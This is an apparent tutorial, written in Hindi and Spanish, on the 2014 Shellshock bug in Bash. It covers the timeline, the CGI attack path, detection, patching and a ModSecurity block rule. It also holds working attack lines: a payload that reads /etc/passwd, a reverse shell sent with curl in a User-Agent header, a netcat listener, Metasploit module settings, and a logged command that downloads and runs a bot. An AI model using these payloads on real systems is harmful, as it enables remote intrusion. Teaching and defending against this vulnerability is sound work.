Variable Env → Definición de función → [AQUÍ EJECUTA CÓDIGO EXTRA] ← BUG

12 Sep 2014 ──── Stéphane Chazelas बग की खोज करता है और इसे Chet Ramey (Bash के अनुरक्षक) को रिपोर्ट करता है
                 यह बग Bash में 20 से अधिक वर्षों से मौजूद था।

24 Sep 2014 ──── सार्वजनिक खुलासा + पैच का प्रकाशन (CVE-2014-6271)
                 कुछ घंटों बाद: सक्रिय बॉटनेट बड़े पैमाने पर इंटरनेट को स्कैन कर रहे हैं।

25-30 Sep 2014 ── संबंधित कमजोरियों की खोज:
                 CVE-2014-6277, CVE-2014-6278, CVE-2014-7169,
                 CVE-2014-7186, CVE-2014-7187

Oct 2014 ──────── लाखों हमले दर्ज किए गए। गंभीरता में Heartbleed से तुलना की गई।

# Variable de entorno maliciosa:
SHELLSHOCK='() { :; }; /bin/cat /etc/passwd'

# Bash vulnerable al inicializarse:
# 1. Lee la definición de función  → OK
# 2. Encuentra }; → debería parar
# 3. CONTINÚA → ejecuta /bin/cat /etc/passwd  ← BUG

हमलावर                    Apache सर्वर (CGI)              Bash (कमजोर)
   │                               │                                │
   │  HTTP Request                 │                                │
   │  User-Agent: () { :;}; cmd    │                                │
   │──────────────────────────────▶│                                │
   │                               │  हेडर को env vars में बदलता है  │
   │                               │  HTTP_USER_AGENT=() { :;}; cmd │
   │                               │───────────────────────────────▶│
   │                               │                                │ cmd निष्पादित करता है
   │                               │                                │ www-data के रूप में
   │◀──────────────────────────────│◀───────────────────────────────│
   │  प्रतिक्रिया + cmd का आउटपुट   │                                │

env x='() { :;}; echo VULNERABLE' bash -c "echo this is a test"

VULNERABLE
this is a test

this is a test

प्रभावित हेडर: User-Agent, Referer, Cookie, X-Forwarded-For, और कोई भी कस्टम हेडर

# Si el servidor tiene ForceCommand configurado, un atacante con clave válida puede bypassearlo
ssh user@target '() { :;}; /bin/bash'

# Cualquier proceso que herede variables de entorno y ejecute Bash
env VAR='() { :;}; comando_malicioso' bash -c "script_legítimo"

nc -lvnp 4444

# Payload que se inyecta en el User-Agent
() { :;}; /bin/bash -i >& /dev/tcp/IP_ATACANTE/4444 0>&1

curl -H "User-Agent: () { :;}; /bin/bash -i >& /dev/tcp/192.168.1.10/4444 0>&1" \
     http://sitio-vulnerable.com/cgi-bin/test.cgi

Connection received from 10.10.10.50
bash: no job control in this shell
sh-4.1$ id
uid=48(apache) gid=48(apache) groups=48(apache)

use exploit/multi/http/apache_mod_cgi_bash_env_exec
set RHOSTS <target>
set TARGETURI /cgi-bin/test.cgi
set LHOST <your_ip>
run

# Buscar el patrón característico en access.log
grep -E "\(\)\s*\{" /var/log/apache2/access.log

# Ejemplo de log malicioso:
# "() { :;}; wget http://malware.com/bot -O /tmp/x && chmod +x /tmp/x && /tmp/x"

# Procesos hijos de www-data/apache que no deberían existir
ps aux | grep www-data | grep -v grep
netstat -antup | grep ESTABLISHED

- /tmp, /var/tmp, /dev/shm में नई निष्पादन योग्य फ़ाइलें
- वेब सर्वर से अज्ञात आईपी पर बाहरी कनेक्शन
- /etc/crontab या /etc/passwd का संशोधन
- टर्मिनल के बिना www-data के रूप में चलने वाली bash प्रक्रियाएं

# Debian / Ubuntu
sudo apt-get update && sudo apt-get install --only-upgrade bash

# RHEL / CentOS / Fedora
sudo yum update bash

# Verificar versión parcheada (debe mostrar "patches")
bash --version
# GNU bash, version 4.3.30(1)-release → VULNERABLE
# GNU bash, version 4.3.33(1)-release → PARCHEADO (varía por distro)

# Debe devolver solo "this is a test" — NUNCA "VULNERABLE"
env x='() { :;}; echo VULNERABLE' bash -c "echo this is a test"

# 1. यदि आवश्यक न हो तो CGI अक्षम करें
a2dismod cgi

# 2. पैटर्न को ब्लॉक करने के लिए WAF नियम
# ModSecurity में:
SecRule REQUEST_HEADERS "@rx \(\)\s*\{" "id:1001,phase:1,deny,msg:'Shellshock Attempt'"

# 3. लॉग की निरंतर निगरानी
tail -f /var/log/apache2/access.log | grep -E "\(\)\s*\{"